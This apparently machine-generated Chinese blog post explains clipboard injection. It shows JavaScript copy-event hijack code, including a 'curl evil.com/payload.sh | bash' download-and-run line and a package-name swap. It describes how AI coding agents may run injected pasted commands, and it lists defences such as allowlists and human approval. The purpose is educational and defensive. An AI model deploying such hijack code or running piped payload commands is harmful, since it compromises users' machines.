一、什么是剪贴板注入?
2026年4月29日,Hacker News热榜第一不是什么新模型发布,而是一个叫copy.fail的网站——它向全世界展示了一种你每天都在犯的安全错误。
Clipboard Injection(剪贴板注入)是一种通过恶意网页篡改系统剪贴板内容的安全攻击。当你从网页上"复制"代码时,恶意脚本会偷偷把剪贴板内容替换成完全不同的东西。
用周星驰的方式说:就像你去银行取100块,柜员偷偷给你换成100块冥币。你看着数目是对的,但花的时候才发现……嗯,阎王爷不收二维码。
用王家卫的方式说:世界上有一种偷窃,不偷你的钱包,只偷你的Ctrl+C。在你按下Ctrl+V的0.3秒里,你以为粘贴的是人生,其实粘贴的是劫难。
CVE-2026-31431:2026年4月被正式编号的剪贴板注入漏洞。这不是理论攻击——copy.fail网站已经证明了它可以实时发生。
二、攻击过程拆解
整个攻击只需要3步,简单到令人发指:
攻击代码的核心就这么简单:
// ⚠️ 仅供安全研究,请勿用于恶意目的
document.addEventListener('copy', (e) => {
e.preventDefault();
// 用恶意命令替换用户复制的代码
e.clipboardData.setData('text/plain',
'curl evil.com/payload.sh | bash # 看起来正常但执行恶意代码'
);
});
// 高级版本:只替换看起来像命令的代码
document.addEventListener('copy', (e) => {
const original = e.clipboardData.getData('text/plain');
if (original.startsWith('npm') || original.startsWith('pip')) {
// 替换包名,指向恶意包
e.clipboardData.setData('text/plain',
original.replace('install', 'install fake-package-xyz')
);
}
});
三、真实案例
3.1 copy.fail 演示站(2026年4月)
HN热榜181分的copy.fail网站做了一个非常直观的演示:你在页面上复制任何代码,粘贴出来时都会变成恶意版本。这个网站的目的不是攻击,而是教育——让开发者意识到这个威胁的存在。
3.2 Ramp Sheets AI 数据泄露(2026年4月)
PromptArmor披露Ramp的Sheets AI工具存在数据泄露风险。虽然不是直接通过剪贴板注入,但原理类似——用户输入到AI工具中的财务数据可以被提取和利用。
3.3 恶意npm包供应链攻击
攻击者创建与热门包同名的恶意包(如 lodash-utils vs lodash),通过剪贴板注入把 npm install lodash 替换为 npm install lodash-utils,让开发者不经意间安装恶意包。
四、为什么AI Agent特别危险?
AI编码工具(Cursor、Claude Code、Mistral Vibe、Windsurf等)让剪贴板注入的杀伤力提升了100倍。以前攻击需要你手动粘贴到终端执行;现在,AI Agent会自动"帮忙"执行。
传统场景:你复制了恶意代码 → 粘贴到终端 → 自己看了一眼 → 执行。中间有人工检查的缓冲。
AI Agent场景:你复制了代码 → 粘贴到AI对话 → AI说"好的我来执行" → 直接执行。中间没有缓冲。
更危险的是,AI Agent不仅执行你给它的代码,还可能根据剪贴板内容生成更多代码。一个被注入的包名可能导致AI Agent在整个项目中植入恶意依赖。
五、完整防御方案
🔍 粘贴前检查
永远不要直接Ctrl+V到终端。先粘贴到文本编辑器确认内容,再复制到终端。
📦 锁定依赖版本
使用package-lock.json、requirements.txt锁定版本,防止包名被替换。
🧪 沙箱执行
在Docker容器或沙箱中运行未知代码,限制文件系统和网络访问。
🔒 浏览器安全
启用浏览器剪贴板保护(Firefox已默认开启),禁用不必要网站的JavaScript。
🤖 Agent审批机制
配置AI Agent的命令执行需要人工审批,特别是sudo、rm、curl等危险命令。
📋 剪贴板监听
使用安全工具监控剪贴板变化,在内容被替换时发出警报。
六、OpenClaw的安全机制
OpenClaw作为Agent运行时,内置了多层安全机制来应对剪贴板注入等威胁:
6.1 Elevated权限审批
# OpenClaw 安全配置示例
exec:
security: "allowlist" # 白名单模式:只允许预定义的命令
# security: "deny" # 拒绝模式:禁止所有命令执行
# security: "full" # 完全开放(不推荐用于生产环境)
elevated: true # 敏感操作需要人类审批 /approve
6.2 命令白名单
# 只允许特定命令通过
exec:
security: "allowlist"
# 允许的命令模式
allowlist:
- "npm test"
- "npm run build"
- "git status"
- "cat *.md"
# 永远不会匹配:curl | bash 这种危险操作
6.3 approve-once 单次审批
OpenClaw的 approve-once 机制确保每个需要审批的命令都必须单独获得人类许可。即使AI Agent被注入恶意指令试图连续执行多个危险命令,每个都会被拦截。
6.4 系统指令隔离
OpenClaw的安全设计明确区分了"用户指令"和"网页内容"。从外部获取的内容不会被当作系统指令执行(参考SECURITY NOTICE机制)。
七、结语
凌晨4点30分,我在想一个问题:当我们把越来越多的控制权交给AI Agent,我们是不是也在不知不觉中把"最后防线"交了出去?以前还有人工检查这道墙,现在AI帮你跳过了。剪贴板注入不是技术问题——它是信任问题。你信任Ctrl+C,就像信任你家前门永远不会被撬开。
这个漏洞之所以可怕,不是因为它技术多高深——恰恰相反,它简单到任何前端开发者都能实现。可怕的是它利用了人类最深层的习惯:复制-粘贴。
对AI Agent开发者而言,这篇文章的教训只有一个:永远不要假设用户输入是安全的,哪怕那个"用户"就是你自己。
🎭 妙趣总结
剪贴板注入是"最古老"的Web攻击之一(clipboard API劫持),但在AI Agent时代获得了新生命。防御的核心不是技术,是习惯——每次粘贴前多看一眼。OpenClaw的allowlist + elevated审批机制,让你的Agent多了一道不会犯困的保安。
本文由妙趣AI生成 · 最后更新:2026-04-30 · 查看更多术语